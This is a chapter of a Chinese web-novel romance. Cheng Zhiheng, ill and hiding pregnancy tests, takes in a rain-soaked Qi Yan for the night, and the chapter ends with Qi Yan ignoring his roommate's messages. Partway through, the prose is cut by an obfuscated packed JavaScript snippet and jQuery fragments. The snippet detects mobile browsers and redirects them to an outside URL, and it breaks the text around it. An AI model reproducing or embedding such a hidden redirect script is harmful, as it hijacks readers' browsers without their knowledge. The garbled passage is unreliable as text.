程知蘅再次瞪大了眼睛。
他本来就眼睛大,再加上眼珠颜色很淡,瞪大的时候,很有点像漫画里的卡通人物,又有点像小孩子爱玩的布偶的眼睛。
他扬着声音说:“是啊!原来如此!你真来了!”
话是这么说,他脸上的神色可不是这么说的。
他并不知道自己现在看起来像是一只炸了毛的小猫,只独自凌乱了好几秒,便以惊人的速度接受了现实。
祈琰垂眸,低声淡笑了一下:“啊,看来我理解错你的意思了,是么?”
程知蘅心说:对啊,你确实理解错了!大错特错了!
他下意识把手背过去,紧了紧黑色大垃圾袋的袋口,莫名心跳起来,想起来垃圾袋里的那两支和祈琰脱不了关系的验孕棒。
他的确有心要把这个地方让给祈琰住,但今天他身体不舒服,脸色差到极点,也没洗澡,头发跟鸡窝似的,实在是不想见客人,也没功夫接待客人。
程知蘅边想着边暗暗叫苦——刚才祈琰回答“好”的时候自己没确认对,结果祈琰就这么在他最不该出现的时候出现了。
心里虽然这么想,但外边雨下这么大,祈琰身上湿透,程知蘅不是那种会把人拒之门外的性格。
于是他虽然惊愕,还是赶紧换了一张笑脸:“哪有?我就是这个意思!你快别站门口了,进来进来!你是不是忘带伞了,怎么湿成这样?”
见祈琰不动,程知蘅以为他不好意思。为表待客之道,他伸手去拽祈琰的胳膊,想把祈琰拖进门。
“我正要去丢垃圾呢,客房里有睡衣,你快去换一件吧。”
祈琰抵不过他的热情,走进了门:“你要丢垃圾?我帮你下去扔吧。”
“不用不用,”程知蘅说,“其实也不急,我就是忽然想起来了。明天丢也是一样的。”
他趁着门开着的功夫,一下子把垃圾放在门口,眼疾手快关了门,笑道:“嘿嘿,我明早再扔好了。这么大雨,我也不想出去。”
程知蘅笑得灿烂明快,倒把脸上的病容憔悴冲淡了不少。
“那今晚就住这儿吧,我这里东西都齐,你之后再把你的东西搬过来。”他说。
他自己也没察觉到自己笑得这么开心,方才的那些心中的慌乱不安,都仿佛随着祈琰的忽然出现而消失了。
只不过虽然如此,程知蘅惨白的脸色和双唇依旧明晰,和这个漂亮的笑一对比,更显得他脸色不好了。
“好。”祈琰点了点头,敛眉问道,“你吃药了没有?”
“我其实就是还有一点点头晕,应该是这阵子熬夜熬多了饮食不规律,所以那天才会吐。我已经看过医生了,说我没问题,明天再去复查一次。你别担心。”
这话顺出了口,程知蘅又有点后悔。
人家根本没说担心他,他倒是先开口让人别担心,可不是自作多情么?
程知蘅感觉自己两颊烧红了一点,垂下眼睛不说话了。
“刚才你妈妈给我打电话了。”祈琰这时候开口说。
“啊?”程知蘅猛的一抬头,“她问你什么了?”
“问我是不是在你家。”
“你说在了吗?”
祈琰:“嗯。”
程知蘅感激涕零:“太谢谢你了。”
“你明天要去医院?”祈琰这时候开口问。
程知蘅点点头,真假掺半地说:“上次我去查了一天呢,说我什么问题都没有!我当时头晕,就没想起来让医生给我开点药的,结果这两天还是有点不舒服……之前生病我都是自己乱买药,现在觉得不大好,还是得找医生开点。”
说完,程知蘅又抬头笑:“哎呀,净说我的事情了,还没带你room tour一下。”(参观房间)
他学着那天在祈琰家时他带着自己参观家里的样子,也开始带着祈琰转悠一圈。
程知蘅先是一路小跑到落地窗前,一下打开落地窗帘,回头冲着祈琰笑:“我最喜欢这面窗子,视野可好呢。”
接着他又带着祈琰到客房,打开衣柜给他看:“你看这儿有衣服,不是新的就是只穿过一次洗过的,洗漱的东西卫生间里也都有,你直接用就行。我柜子里有红糖,你淋了雨,一会儿给你冲一杯姜茶喝,别感冒了。”
程知蘅原本病歪歪的,谁知道这时候跟祈琰介绍家里,忽然头也不晕了,也不恶心了。如果不是一张小脸依旧惨白,几乎要让人误以为他之前是装病。
祈琰站在身后,静静地看着程知蘅蹦跶。
这时候程知蘅弯起眼睛露出一个很软的笑:“本来也想和你一样把钥匙给你的,可惜我家没钥匙,是密码锁。你还记得我上次和你说的六位数密码吗?”
祈琰说“不记得了”,也不知道是不是真话。他盯着程知蘅的眉眼,眼珠忽然变得很深,让人看不懂里面有什么。
程知蘅扬了扬眉:“那我再和你说一次好了,这次你别忘记。”
祈琰点头说“好”。
程知蘅给他找出一条毛巾擦头发,又翻出干净的衣服来,忙完一番又忽然想起来似的要往厨房跑:“哦对,我去给你泡杯姜茶。”
从小到大,每次淋了雨或者着凉,程修永都会给他煮红糖姜汤。
程知蘅正关上门,却忽然被祈琰拦住了。
他的视线里先出现祈琰骨节分明的手指,接着才是祈琰的眉眼。
“你不舒服就歇着吧,我没淋多少,不碍事。”
程知蘅心说你可拉倒吧,那一身水就跟雨里泡过似的,还没淋多少呢。
“没事儿,又不麻烦,你坐着吧!之前生病那阵子都是你照顾我,我还没来得及感谢你。”程知蘅指了一下沙发,“茶几上有零食,冰箱里有吃的,你随便拿就是!”
这时候祈琰脸上仿佛有点笑意,先道了谢,紧接着问:“你家怎么什么都有?”
“因为之前有阵子痴迷在家开派对,经常邀请朋友来过夜,所以东西备得很全。”程知蘅笑着说。
祈琰本来垂眼,要去挂他那件湿掉的外套,听到这话却忽然僵了僵。
他抬头,低声问:“经常?”
祈琰看似很平静,所以程知蘅也没多想。他很自然地接话,完全没听出祈琰言下之意:“是啊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984482|193613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
得到答案后,祈琰的脸色却忽然冷了冷,方才那点笑意也不见了。
两个人理解事情出现了一点偏差——有关“朋友”的定义。
“对了,祈琰。”程知蘅忽然开口问,“这里确实小了点,既然你打算搬过来,那我可真住你家去了?”
祈琰这时候却不说话了。
程知蘅抬头去看祈琰,心想,又在皱眉。
为什么祈琰这个人看起来总是发不完的脾气?
“你怎么不说话?你是不许我住你家去吗?”
祈琰摇摇头:“没有。不过我那里不比这里方便,设施也没这里好,你恐怕住不习惯。”
“我不是都住过了吗?挺好的,哪有不方便?你不要以为我是娇生惯养,我之前留学的时候,可一直都是自己照顾自己。”
祈琰“嗯”了一声:“那你住吧,我无所谓。”
说完他就回了房间。
程知蘅神经大条,根本没察觉到祈琰的脾气。对他而言,祈琰无时无刻不是这么一张冷脸,似乎根本没什么区别。
也不知道怎么的,原来又头晕又犯困,煮了碗姜汤后他忽然又活力起来,竟然还上线和邹柏宇连麦打了几把游戏。
两人打了许久,战绩一般,才刚有点找回手感来,却已经过了一点半了。
邹柏宇还说要再开一局,程知蘅却忙拒绝:“不了不了,今天就到这儿,我明儿还要早起去医院呢,你要来接我的,也别睡晚了。”
“明天下午去,现在急什么?”邹柏宇说,“老程你怎么回事,今天心不在焉的。”
程知蘅诧异:“我哪有?”
“出什么事了吗?”邹柏宇皱眉。
“没有啊?”
“你早点时候跟我打电话还病歪歪的没点活人气,现在怎么忽然变这么高兴?”邹柏宇一脸狐疑,“发生什么喜事了。”
程知蘅怔了怔:“我有很高兴吗?”
邹柏宇:“当然有。”
*
夜深了,祈琰靠在床边。
他这一天很累,前夜也没有休息好,然而现在夜色已深,却依旧是没有睡意。
屋外程知蘅连麦打游戏的声音都没了,大概是终于玩累准备睡了。祈琰熄灭手机,偏头看了看窗外,他双目沉黑,看起来没什么情绪。
夜凉如水,雨已经停了。住在这里视野的确好,等到晴天的时候,应该会有很好的阳光。
祈琰叹了一口气。
这时候,他的手机震动了好几下,弹出一堆消息。
姜汤已经喝空了,搁在床头柜上,祈琰本来盯着空碗,现下缓缓将视线移到屏幕上。
是室友发的消息。
【祈哥你今晚还回宿舍吗我要锁门了】
【你不是说因为明天要早到所以今晚才提前到宿舍住吗,怎么来了又走了?】
【明天很重要,你要是今晚不回宿舍,记得早点起,别迟到】
【下这么大雨,刚才伞都不带就往外跑,是出什么急事了吗?】
【记得回消息】
祈琰没回,屈指按灭了手机。